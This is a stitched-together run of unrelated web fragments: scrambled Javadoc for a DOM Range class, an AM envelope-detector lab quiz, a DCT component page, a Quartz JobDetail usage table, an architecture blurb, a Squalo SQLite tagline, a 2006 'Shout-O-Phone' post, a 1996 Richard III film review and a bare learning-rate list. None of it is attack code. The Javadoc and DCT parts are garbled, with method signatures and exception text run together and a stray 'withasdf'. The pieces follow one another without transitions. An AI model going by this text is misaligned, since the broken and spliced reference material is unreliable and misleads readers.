org.w3c.dom.ranges.Range
refNode
- Range starts after refNode
org.w3c.dom.ranges.RangeException
- INVALID_NODE_TYPE_ERR: Raised if the root container of
refNode
is not an Attr, Document, or DocumentFragment
node or if refNode
is a Document, DocumentFragment,
Attr, Entity, or Notation node.org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.
refNode
was created
from a different document than the one that created this range.public void setEndBefore(org.w3c.dom.Node refNode) throws org.w3c.dom.ranges.RangeException
org.w3c.dom.ranges.Range
setEndBefore
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
refNode
- Range ends before refNode
org.w3c.dom.ranges.RangeException
- INVALID_NODE_TYPE_ERR: Raised if the root container of
refNode
is not an Attr, Document, or DocumentFragment
node or if refNode
is a Document, DocumentFragment,
Attr, Entity, or Notation node.org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.
refNode
was created
from a different document than the one that created this range.public void setEndAfter(org.w3c.dom.Node refNode) throws org.w3c.dom.ranges.RangeException
org.w3c.dom.ranges.Range
setEndAfter
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
refNode
- Range ends after refNode
.org.w3c.dom.ranges.RangeException
- INVALID_NODE_TYPE_ERR: Raised if the root container of
refNode
is not an Attr, Document or DocumentFragment
node or if refNode
is a Document, DocumentFragment,
Attr, Entity, or Notation node.org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.
refNode
was created
from a different document than the one that created this range.public void collapse(boolean toStart)
org.w3c.dom.ranges.Range
collapse
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
toStart
- If TRUE, collapses the Range onto its start; if FALSE,
collapses it onto its end.org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public void selectNode(org.w3c.dom.Node refNode) throws org.w3c.dom.ranges.RangeException
org.w3c.dom.ranges.Range
selectNode
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
refNode
- The node to select.org.w3c.dom.ranges.RangeException
- INVALID_NODE_TYPE_ERR: Raised if an ancestor of refNode
is an Entity, Notation or DocumentType node or if
refNode
is a Document, DocumentFragment, Attr, Entity,
or Notation node.org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.
refNode
was created
from a different document than the one that created this range.public void selectNodeContents(org.w3c.dom.Node refNode) throws org.w3c.dom.ranges.RangeException
org.w3c.dom.ranges.Range
selectNodeContents
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
refNode
- Node to select fromorg.w3c.dom.ranges.RangeException
- INVALID_NODE_TYPE_ERR: Raised if refNode
or an ancestor
of refNode
is an Entity, Notation or DocumentType node.org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.
refNode
was created
from a different document than the one that created this range.public short compareBoundaryPoints(short how, org.w3c.dom.ranges.Range sourceRange) throws org.w3c.dom.DOMException
org.w3c.dom.ranges.Range
compareBoundaryPoints
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
how
- A code representing the type of comparison, as defined
above.sourceRange
- The Range
on which this current
Range
is compared to.sourceRange
.org.w3c.dom.DOMException
- WRONG_DOCUMENT_ERR: Raised if the two Ranges are not in the same
Document or DocumentFragment.
detach()
has already
been invoked on this object.public void deleteContents() throws org.w3c.dom.DOMException
org.w3c.dom.ranges.Range
deleteContents
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- NO_MODIFICATION_ALLOWED_ERR: Raised if any portion of the content of
the Range is read-only or any of the nodes that contain any of the
content of the Range are read-only.
detach()
has already
been invoked on this object.public org.w3c.dom.DocumentFragment extractContents() throws org.w3c.dom.DOMException
org.w3c.dom.ranges.Range
extractContents
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- NO_MODIFICATION_ALLOWED_ERR: Raised if any portion of the content of
the Range is read-only or any of the nodes which contain any of the
content of the Range are read-only.
detach()
has already
been invoked on this object.public org.w3c.dom.DocumentFragment cloneContents() throws org.w3c.dom.DOMException
org.w3c.dom.ranges.Range
cloneContents
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- HIERARCHY_REQUEST_ERR: Raised if a DocumentType node would be
extracted into the new DocumentFragment.
detach()
has already
been invoked on this object.public void insertNode(org.w3c.dom.Node newNode) throws org.w3c.dom.DOMException, org.w3c.dom.ranges.RangeException
org.w3c.dom.ranges.Range
insertNode
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
newNode
- The node to insert at the start of the Rangeorg.w3c.dom.DOMException
- NO_MODIFICATION_ALLOWED_ERR: Raised if an ancestor container of the
start of the Range is read-only.
newNode
and the
container of the start of the Range were not created from the same
document.
newNode
or if newNode
is an ancestor of
the container.
detach()
has already
been invoked on this object.org.w3c.dom.ranges.RangeException
- INVALID_NODE_TYPE_ERR: Raised if newNode
is an Attr,
Entity, Notation, or Document node.public void surroundContents(org.w3c.dom.Node newParent) throws org.w3c.dom.DOMException, org.w3c.dom.ranges.RangeException
org.w3c.dom.ranges.Range
surroundContents
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
newParent
- The node to surround the contents with.org.w3c.dom.DOMException
- NO_MODIFICATION_ALLOWED_ERR: Raised if an ancestor container of
either boundary-point of the Range is read-only.
newParent
and the
container of the start of the Range were not created from the same
document.
newParent
or if newParent
is an ancestor
of the container or if node
would end up with a child
node of a type not allowed by the type of node
.
detach()
has already
been invoked on this object.org.w3c.dom.ranges.RangeException
- BAD_BOUNDARYPOINTS_ERR: Raised if the Range partially selects a
non-text node.
node
is an Attr,
Entity, DocumentType, Notation, Document, or DocumentFragment node.public org.w3c.dom.ranges.Range cloneRange()
org.w3c.dom.ranges.Range
cloneRange
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public java.lang.String toString()
org.w3c.dom.ranges.Range
toString
in interface org.w3c.dom.ranges.Range
toString
in class java.lang.Object
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public void detach()
org.w3c.dom.ranges.Range
DOMException
being thrown with an
error code of INVALID_STATE_ERR
.detach
in interface org.w3c.dom.ranges.Range
org.w3c.dom.ranges.Range
org.w3c.dom.DOMException
- INVALID_STATE_ERR: Raised if detach()
has already been
invoked on this object.public void insertedNodeFromDOM(org.w3c.dom.Node node)
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: INNER | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Detection of full carrier AM is very simple and based on so called Envelope Detector. Envelope is a curve that follows carrier waveform peaks. Make up an AM/ASK system shown in the figure below.
Set DC source to 1V, carrier waveform to 1 V amplitude and Noise Source to 0 V amplitude.
1. Set signal generator at the transmitter’s input to cosine waveform and 5Hz frequency. Look at the modulated carrier waveform at the output of the AM-Modulator. Its envelope follows
2. Look at the received and detected signal at the output of the receiver’s LPF, i.e. at the output of envelope detector, with oscilloscope. Detected signal at the output of LPF follows
3. Set signal generator at the transmitter’s input to sawtooth waveform. Look at the modulated carrier waveform at the output of the AM-Modulator. Its envelope follows:
4. Look at the received and detected signal at the output of the receiver’s LPF, i.e. at the output of envelope detector. Output of LPF follows
5. Look at the output of the rectifier inside envelope detector. It consists of
6. Compare input and output waveforms of LPF. LPF of the envelope detector
7. CD-block of the envelope detector
When you have answered all the questions you can submit your answers.
You passed test. You may now start Exercise 2: Impact of LPF on Signal Shape and Spectrum
Test failed. Consider again answers tat are not correct


This demo pulls data from the Donors Choose Data API to demonstrate how paging, sorting, and searching works with KnockoutJS bound data and DataTables. Read more in blog post.
Demo Pulling 50 proposals from 50310
| Project | School | % Funded |
|---|---|---|


This file contains functions that implement Discrete Cosine Transforms and their inverses. When reference is made to the IEEE DCT specification, it is refering to the IEEE DCT specification used by both MPEG and JPEG. A definition of what makes an 8x8 DCT conform to the IEEE specification, as well as a pseudocode implementation, can be found in Appendix A of the MPEG-2 specification (ISO/IEC 13818-2) on P. 125.
| Component Summary | |
void->void
|
iDCTcompare
Compare the output of the various inverse Discrete Cosine Transform implementation accordance withasdf |
| Component Detail |
void->void iDCTcompare
<void>
- none
<void>
- none


House No. 1 is the first house concept in a series of design experiments which investigate ideas surrounding notions of a “vertical ground” for architecture. Conceived as a recombination of familiar formal archetypes- the barn house, the cubic modular unit, a post modern amoeba shell- it is a case study for an “architecture upon architecture”.
This house design features 3-4 bedrooms with 3 bathrooms. Occupying roughly 3200 sq. ft, this precast concrete structure includes open living, and kitchen design, as well as a multi-purpose mezzanine level. Inspired by Kazuo Shinohara’s “savage machines”, the house design also features a modern take on the Japanese “tatami” room.


| Package | Description |
|---|---|
| org.quartz |
The main package of Quartz, containing the client-side interfaces.
|
| org.quartz.core |
Contains the core classes and interfaces for the Quartz job scheduler.
|
| org.quartz.core.jmx | |
| org.quartz.impl |
Contains implementations of the SchedulerFactory, JobStore, ThreadPool, and
other interfaces required by the org.quartz.core.QuartzScheduler.
|
| org.quartz.impl.jdbcjobstore | |
| org.quartz.impl.jdbcjobstore.oracle | |
| org.quartz.listeners | |
| org.quartz.simpl |
Contains simple / light-weight implementations (with no dependencies on
external libraries) of interfaces required by the
org.quartz.core.QuartzScheduler.
|
| org.quartz.spi |
Contains Service Provider Interfaces that can be implemented by those
wishing to create and use custom versions of Quartz back-end/behind-the-scenes
services.
|
| org.quartz.xml | |
| org.terracotta.quartz | |
| org.terracotta.quartz.wrappers |
| Modifier and Type | Method and Description |
|---|---|
JobDetail |
JobBuilder.build()
Produce the
JobDetail instance defined by this
JobBuilder . |
JobDetail |
JobExecutionContext.getJobDetail()
Get the
JobDetail associated with the Job . |
JobDetail |
Scheduler.getJobDetail(JobKey jobKey)
Get the
for the Job
instance with the given key. |
| Modifier and Type | Method and Description |
|---|---|
void |
Scheduler.addJob(JobDetail jobDetail,
boolean replace)
Add the given
Job to the Scheduler - with no associated
Trigger . |
void |
Scheduler.addJob(JobDetail jobDetail,
boolean replace,
boolean storeNonDurableWhileAwaitingScheduling)
Add the given
Job to the Scheduler - with no associated
Trigger . |
TriggerBuilder<T> |
TriggerBuilder.forJob(JobDetail jobDetail)
Set the identity of the Job which should be fired by the produced
Trigger, by extracting the JobKey from the given job.
|
void |
SchedulerListener.jobAdded(JobDetail jobDetail)
|
void |
Scheduler.scheduleJob(JobDetail jobDetail,
Set<? extends Trigger> triggersForJob,
boolean replace)
Schedule the given job with the related set of triggers.
|
Date |
Scheduler.scheduleJob(JobDetail jobDetail,
Trigger trigger)
|
| Modifier and Type | Method and Description |
|---|---|
void |
Scheduler.scheduleJobs(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace)
Schedule all of the given jobs with the related set of triggers.
|
| Constructor and Description |
|---|
ObjectAlreadyExistsException(JobDetail offendingJob)
Create a
ObjectAlreadyExistsException and auto-generate a
message using the name/group from the given JobDetail . |
| Modifier and Type | Method and Description |
|---|---|
JobDetail |
RemotableQuartzScheduler.getJobDetail(JobKey jobKey) |
JobDetail |
QuartzScheduler.getJobDetail(JobKey jobKey)
Get the
for the Job
instance with the given name and group. |
| Modifier and Type | Method and Description |
|---|---|
void |
RemotableQuartzScheduler.addJob(JobDetail jobDetail,
boolean replace) |
void |
QuartzScheduler.addJob(JobDetail jobDetail,
boolean replace)
Add the given
Job to the Scheduler - with no associated
Trigger . |
void |
RemotableQuartzScheduler.addJob(JobDetail jobDetail,
boolean replace,
boolean storeNonDurableWhileAwaitingScheduling) |
void |
QuartzScheduler.addJob(JobDetail jobDetail,
boolean replace,
boolean storeNonDurableWhileAwaitingScheduling) |
void |
SampledStatisticsImpl.jobAdded(JobDetail jobDetail) |
void |
QuartzSchedulerMBeanImpl.jobAdded(JobDetail jobDetail) |
protected void |
QuartzScheduler.notifyJobStoreJobComplete(OperableTrigger trigger,
JobDetail detail,
Trigger.CompletedExecutionInstruction instCode) |
protected void |
QuartzScheduler.notifyJobStoreJobVetoed(OperableTrigger trigger,
JobDetail detail,
Trigger.CompletedExecutionInstruction instCode) |
void |
QuartzScheduler.notifySchedulerListenersJobAdded(JobDetail jobDetail) |
void |
RemotableQuartzScheduler.scheduleJob(JobDetail jobDetail,
Set<? extends Trigger> triggersForJob,
boolean replace) |
void |
QuartzScheduler.scheduleJob(JobDetail jobDetail,
Set<? extends Trigger> triggersForJob,
boolean replace) |
Date |
RemotableQuartzScheduler.scheduleJob(JobDetail jobDetail,
Trigger trigger) |
Date |
QuartzScheduler.scheduleJob(JobDetail jobDetail,
Trigger trigger)
|
| Modifier and Type | Method and Description |
|---|---|
void |
RemotableQuartzScheduler.scheduleJobs(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace) |
void |
QuartzScheduler.scheduleJobs(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace) |
| Modifier and Type | Method and Description |
|---|---|
static JobDetail |
JobDetailSupport.newJobDetail(CompositeData cData) |
static JobDetail |
JobDetailSupport.newJobDetail(Map<String,Object> attrMap) |
| Modifier and Type | Method and Description |
|---|---|
static CompositeData |
JobDetailSupport.toCompositeData(JobDetail jobDetail) |
static TabularData |
JobDetailSupport.toTabularData(JobDetail[] jobDetails) |
| Modifier and Type | Class and Description |
|---|---|
class |
JobDetailImpl
Conveys the detail properties of a given
Job instance. |
| Modifier and Type | Method and Description |
|---|---|
JobDetail |
JobExecutionContextImpl.getJobDetail()
Get the
JobDetail associated with the Job . |
JobDetail |
StdScheduler.getJobDetail(JobKey jobKey)
Calls the equivalent method on the 'proxied'
QuartzScheduler . |
JobDetail |
RemoteScheduler.getJobDetail(JobKey jobKey)
Calls the equivalent method on the 'proxied'
QuartzScheduler . |
JobDetail |
RemoteMBeanScheduler.getJobDetail(JobKey jobKey)
Calls the equivalent method on the 'proxied'
QuartzScheduler ,
passing the SchedulingContext associated with this
instance. |
| Modifier and Type | Method and Description |
|---|---|
void |
StdScheduler.addJob(JobDetail jobDetail,
boolean replace)
Calls the equivalent method on the 'proxied'
QuartzScheduler . |
void |
RemoteScheduler.addJob(JobDetail jobDetail,
boolean replace)
Calls the equivalent method on the 'proxied'
QuartzScheduler . |
void |
RemoteMBeanScheduler.addJob(JobDetail jobDetail,
boolean replace)
Calls the equivalent method on the 'proxied'
QuartzScheduler ,
passing the SchedulingContext associated with this
instance. |
void |
StdScheduler.addJob(JobDetail jobDetail,
boolean replace,
boolean storeNonDurableWhileAwaitingScheduling) |
void |
RemoteScheduler.addJob(JobDetail jobDetail,
boolean replace,
boolean storeNonDurableWhileAwaitingScheduling) |
void |
RemoteMBeanScheduler.addJob(JobDetail jobDetail,
boolean replace,
boolean storeNonDurableWhileAwaitingScheduling)
Calls the equivalent method on the 'proxied'
QuartzScheduler ,
passing the SchedulingContext associated with this
instance. |
void |
StdScheduler.scheduleJob(JobDetail jobDetail,
Set<? extends Trigger> triggersForJob,
boolean replace) |
void |
RemoteScheduler.scheduleJob(JobDetail jobDetail,
Set<? extends Trigger> triggersForJob,
boolean replace) |
void |
RemoteMBeanScheduler.scheduleJob(JobDetail jobDetail,
Set<? extends Trigger> triggersForJob,
boolean replace) |
Date |
StdScheduler.scheduleJob(JobDetail jobDetail,
Trigger trigger)
Calls the equivalent method on the 'proxied'
QuartzScheduler . |
Date |
RemoteScheduler.scheduleJob(JobDetail jobDetail,
Trigger trigger)
Calls the equivalent method on the 'proxied'
QuartzScheduler . |
Date |
RemoteMBeanScheduler.scheduleJob(JobDetail jobDetail,
Trigger trigger)
Calls the equivalent method on the 'proxied'
QuartzScheduler ,
passing the SchedulingContext associated with this
instance. |
| Modifier and Type | Method and Description |
|---|---|
void |
StdScheduler.scheduleJobs(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace) |
void |
RemoteScheduler.scheduleJobs(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace) |
void |
RemoteMBeanScheduler.scheduleJobs(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace) |
| Modifier and Type | Method and Description |
|---|---|
protected JobDetail |
JobStoreSupport.retrieveJob(Connection conn,
JobKey key) |
JobDetail |
JobStoreSupport.retrieveJob(JobKey jobKey)
|
JobDetail |
StdJDBCDelegate.selectJobDetail(Connection conn,
JobKey jobKey,
ClassLoadHelper loadHelper)
Select the JobDetail object for a given job name / group name.
|
JobDetail |
DriverDelegate.selectJobDetail(Connection conn,
JobKey jobKey,
ClassLoadHelper loadHelper)
Select the JobDetail object for a given job name / group name.
|
JobDetail |
StdJDBCDelegate.selectJobForTrigger(Connection conn,
ClassLoadHelper loadHelper,
TriggerKey triggerKey)
Select the job to which the trigger is associated.
|
JobDetail |
DriverDelegate.selectJobForTrigger(Connection conn,
ClassLoadHelper loadHelper,
TriggerKey triggerKey)
Select the job to which the trigger is associated.
|
JobDetail |
StdJDBCDelegate.selectJobForTrigger(Connection conn,
ClassLoadHelper loadHelper,
TriggerKey triggerKey,
boolean loadJobClass)
Select the job to which the trigger is associated.
|
JobDetail |
DriverDelegate.selectJobForTrigger(Connection conn,
ClassLoadHelper loadHelper,
TriggerKey triggerKey,
boolean loadJobClass)
Select the job to which the trigger is associated.
|
| Modifier and Type | Method and Description |
|---|---|
int |
TriggerPersistenceDelegate.insertExtendedTriggerProperties(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
SimpleTriggerPersistenceDelegate.insertExtendedTriggerProperties(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
SimplePropertiesTriggerPersistenceDelegateSupport.insertExtendedTriggerProperties(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
CronTriggerPersistenceDelegate.insertExtendedTriggerProperties(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
StdJDBCDelegate.insertFiredTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail job)
Insert a fired trigger.
|
int |
DriverDelegate.insertFiredTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail)
Insert a fired trigger.
|
int |
StdJDBCDelegate.insertJobDetail(Connection conn,
JobDetail job)
Insert the job detail record.
|
int |
PointbaseDelegate.insertJobDetail(Connection conn,
JobDetail job)
Insert the job detail record.
|
int |
DriverDelegate.insertJobDetail(Connection conn,
JobDetail job)
Insert the job detail record.
|
int |
StdJDBCDelegate.insertTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail)
Insert the base trigger data.
|
int |
PointbaseDelegate.insertTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
DriverDelegate.insertTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail)
Insert the base trigger data.
|
protected void |
JobStoreSupport.storeJob(Connection conn,
JobDetail newJob,
boolean replaceExisting)
Insert or update a job.
|
void |
JobStoreSupport.storeJob(JobDetail newJob,
boolean replaceExisting)
Store the given
. |
void |
JobStoreSupport.storeJobAndTrigger(JobDetail newJob,
OperableTrigger newTrigger)
|
protected void |
JobStoreSupport.storeTrigger(Connection conn,
OperableTrigger newTrigger,
JobDetail job,
boolean replaceExisting,
String state,
boolean forceState,
boolean recovering)
Insert or update a trigger.
|
protected void |
JobStoreSupport.triggeredJobComplete(Connection conn,
OperableTrigger trigger,
JobDetail jobDetail,
Trigger.CompletedExecutionInstruction triggerInstCode) |
void |
JobStoreSupport.triggeredJobComplete(OperableTrigger trigger,
JobDetail jobDetail,
Trigger.CompletedExecutionInstruction triggerInstCode)
Inform the
JobStore that the scheduler has completed the
firing of the given Trigger (and the execution its
associated Job ), and that the
in the given JobDetail should be updated if the Job
is stateful. |
int |
TriggerPersistenceDelegate.updateExtendedTriggerProperties(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
SimpleTriggerPersistenceDelegate.updateExtendedTriggerProperties(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
SimplePropertiesTriggerPersistenceDelegateSupport.updateExtendedTriggerProperties(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
CronTriggerPersistenceDelegate.updateExtendedTriggerProperties(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
StdJDBCDelegate.updateFiredTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail job)
Update a fired trigger.
|
int |
DriverDelegate.updateFiredTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail)
Update a fired trigger record.
|
int |
StdJDBCDelegate.updateJobData(Connection conn,
JobDetail job)
Update the job data map for the given job.
|
int |
PointbaseDelegate.updateJobData(Connection conn,
JobDetail job)
Update the job data map for the given job.
|
int |
DriverDelegate.updateJobData(Connection conn,
JobDetail job)
Update the job data map for the given job.
|
int |
StdJDBCDelegate.updateJobDetail(Connection conn,
JobDetail job)
Update the job detail record.
|
int |
PointbaseDelegate.updateJobDetail(Connection conn,
JobDetail job)
Update the job detail record.
|
int |
DriverDelegate.updateJobDetail(Connection conn,
JobDetail job)
Update the job detail record.
|
int |
StdJDBCDelegate.updateTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail)
Update the base trigger data.
|
int |
PointbaseDelegate.updateTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
DriverDelegate.updateTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail)
Update the base trigger data.
|
| Modifier and Type | Method and Description |
|---|---|
void |
JobStoreSupport.storeJobsAndTriggers(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace) |
| Modifier and Type | Method and Description |
|---|---|
int |
OracleDelegate.insertJobDetail(Connection conn,
JobDetail job) |
int |
OracleDelegate.insertTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
int |
OracleDelegate.updateJobData(Connection conn,
JobDetail job) |
int |
OracleDelegate.updateJobDetail(Connection conn,
JobDetail job) |
int |
OracleDelegate.updateTrigger(Connection conn,
OperableTrigger trigger,
String state,
JobDetail jobDetail) |
| Modifier and Type | Method and Description |
|---|---|
void |
SchedulerListenerSupport.jobAdded(JobDetail jobDetail) |
void |
BroadcastSchedulerListener.jobAdded(JobDetail jobDetail) |
| Modifier and Type | Method and Description |
|---|---|
JobDetail |
RAMJobStore.retrieveJob(JobKey jobKey)
|
| Modifier and Type | Method and Description |
|---|---|
void |
RAMJobStore.storeJob(JobDetail newJob,
boolean replaceExisting)
Store the given
. |
void |
RAMJobStore.storeJobAndTrigger(JobDetail newJob,
OperableTrigger newTrigger)
|
void |
RAMJobStore.triggeredJobComplete(OperableTrigger trigger,
JobDetail jobDetail,
Trigger.CompletedExecutionInstruction triggerInstCode)
Inform the
JobStore that the scheduler has completed the
firing of the given Trigger (and the execution its
associated Job ), and that the
in the given JobDetail should be updated if the Job
is stateful. |
| Modifier and Type | Method and Description |
|---|---|
void |
RAMJobStore.storeJobsAndTriggers(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace) |
| Modifier and Type | Method and Description |
|---|---|
JobDetail |
TriggerFiredBundle.getJobDetail() |
JobDetail |
JobStore.retrieveJob(JobKey jobKey)
|
| Modifier and Type | Method and Description |
|---|---|
void |
JobStore.storeJob(JobDetail newJob,
boolean replaceExisting)
Store the given
. |
void |
JobStore.storeJobAndTrigger(JobDetail newJob,
OperableTrigger newTrigger)
|
void |
JobStore.triggeredJobComplete(OperableTrigger trigger,
JobDetail jobDetail,
Trigger.CompletedExecutionInstruction triggerInstCode)
Inform the
JobStore that the scheduler has completed the
firing of the given Trigger (and the execution of its
associated Job completed, threw an exception, or was vetoed),
and that the
in the given JobDetail should be updated if the Job
is stateful. |
| Modifier and Type | Method and Description |
|---|---|
void |
JobStore.storeJobsAndTriggers(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace) |
| Constructor and Description |
|---|
TriggerFiredBundle(JobDetail job,
OperableTrigger trigger,
Calendar cal,
boolean jobIsRecovering,
Date fireTime,
Date scheduledFireTime,
Date prevFireTime,
Date nextFireTime) |
| Modifier and Type | Field and Description |
|---|---|
protected List<JobDetail> |
XMLSchedulingDataProcessor.loadedJobs |
| Modifier and Type | Method and Description |
|---|---|
protected List<JobDetail> |
XMLSchedulingDataProcessor.getLoadedJobs()
Returns a
List of jobs loaded from the xml file. |
| Modifier and Type | Method and Description |
|---|---|
protected void |
XMLSchedulingDataProcessor.addJobToSchedule(JobDetail job) |
| Modifier and Type | Method and Description |
|---|---|
JobDetail |
PlainTerracottaJobStore.retrieveJob(JobKey jobKey) |
JobDetail |
AbstractTerracottaJobStore.retrieveJob(JobKey jobKey) |
| Modifier and Type | Method and Description |
|---|---|
void |
PlainTerracottaJobStore.storeJob(JobDetail newJob,
boolean replaceExisting) |
void |
AbstractTerracottaJobStore.storeJob(JobDetail newJob,
boolean replaceExisting) |
void |
PlainTerracottaJobStore.storeJobAndTrigger(JobDetail newJob,
OperableTrigger newTrigger) |
void |
AbstractTerracottaJobStore.storeJobAndTrigger(JobDetail newJob,
OperableTrigger newTrigger) |
void |
PlainTerracottaJobStore.triggeredJobComplete(OperableTrigger trigger,
JobDetail jobDetail,
Trigger.CompletedExecutionInstruction triggerInstCode) |
void |
AbstractTerracottaJobStore.triggeredJobComplete(OperableTrigger trigger,
JobDetail jobDetail,
Trigger.CompletedExecutionInstruction instruction) |
| Modifier and Type | Method and Description |
|---|---|
void |
PlainTerracottaJobStore.storeJobsAndTriggers(Map<JobDetail,Set<? extends Trigger>> triggersAndJobs,
boolean replace) |
void |
AbstractTerracottaJobStore.storeJobsAndTriggers(Map<JobDetail,Set<? extends Trigger>> arg0,
boolean arg1) |
| Modifier and Type | Field and Description |
|---|---|
protected JobDetail |
JobWrapper.jobDetail |
| Modifier and Type | Method and Description |
|---|---|
JobDetail |
JobWrapper.getJobDetailClone() |
| Modifier and Type | Method and Description |
|---|---|
JobWrapper |
WrapperFactory.createJobWrapper(JobDetail jobDetail) |
JobWrapper |
DefaultWrapperFactory.createJobWrapper(JobDetail jobDetail) |
| Constructor and Description |
|---|
JobWrapper(JobDetail jobDetail) |
Copyright 2001-2019, Terracotta, Inc.


{% extends "base.html" %} {%block content%}
Squalo [/'skwalo/] is the italian word for Shark.  Squalo eats SQLite files!
Squalo helps you easily create an API around a SQLite database, wherever it comes from.


--- layout: post title: The Shout-O-Phone date: 2006-08-04 00:00:00 categories: amusing mobile ---
The Shout-O-Phone: "Friends and relatives on opposite sides of the French-Swiss border must exchange greetings across a forbidden zone of seventy feet wide, but that doesn't matter to the well-equipped conversationalist. He talks through a megaphone and listens with ear trumpets like airplane detectors, while his binoculars completed the illusion of nearness."


RICHARD III A film review by Martin Rich Copyright 1996 Martin Rich
Shakespeare's plays contain some of the most graphic descriptions of inhumanity ever. We tend to overlook these, perhaps because we are used to quite decorous productions of Shakespeare, but this adaptation of Richard III for the cinema proves that Shakespeare is still well able to shock.
There is, in fact, blood and gore a-plenty. We have children being suffocated, a man stabbed while having sex tied to a bedpost, one of the King's brothers attacked in his bath, and a hospital of the most extraordinary grimness. I wonder through what quirk of literary sensibility the film came to be classified as a '15' in Britain.
But, if you can stomach the violence, you will see a fine portrayal of an empire weighed down by decadence, and by lack of respect for human life. Ian McKellen is Richard, and also collaborated on distilling the screenplay from Shakespeare's original work. As a callous, embittered, hunchback he is frightening - the more so because he is so cool and embittered. The cast is tremendous - especially Annette Bening and Maggie Smith as two of the women caught in Richard's machinations. Shakespeare's text has been cut to little more than half its original length, but preserving much of the original wording and ensuring that the story moves on at an impressive pace.
Thanks to carefully designed sets, costumes (details such as the watch that Richard wears), music, and some terrific locations, the film has a fine and accurate period feel. But it isn't Richard III's period, nor is it Shakespeare's. This production is set in a mythical 1930s London, torn by civil war, and lest we doubt the sort of monarch that Richard was, his supporters wave red and white banners which owe a lot to Nazi imagery.
Setting Shakespeare out of his own time will always be controversial. But some of the best stage productions have been in twentieth century dress: during the 1980s the Royal Shakepeare Company transplanted the Merry Wives of Windsor to the 1950s, an age of 'new Elizabethans', and more recently the Royal Court staged King Lear in the early 20th century. In the same way, this adaptation uses its new context to advantage. Richard's fascist tendencies, and his predecessor's glamorous American wife, both have echoes of Edward VIII. And Shakespeare's characterisation is timeless; he didn't write plays to be performed as period pieces, and it's appropriate that we don't see them as period pieces either.
Those locations deserve a few further remarks. The 'tower' is actually Battersea Power Station. For the final battle it is pictured overlooking a vast open space - Bosworth Field - in defiance of both history and geography, but to great effect. The film owes a lot to the Gilbert Scott family of architects, as St Pancras Station also appears on several occasions. And there is Brighton Pavilion, its fanciful architecture and its associations with yet another generation of royalty making it into a symbol of royal decadence. Shell-Mex House is the King's urban base.
If you're prepared to see Shakespeare in a new light, see this film.
-- Martin Rich (0171) 477 8627 Lecturer in Information Management Fax(0171) 477 8628 City University Business School<EMAIL_ADDRESS>Frobisher Crescent, http://www.city.ac.uk/~sf309/home.html Barbican Centre, London EC2Y 8HB, UK
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Model Training
LEARNING RATE
0.00001
0.0001
0.001
0.003
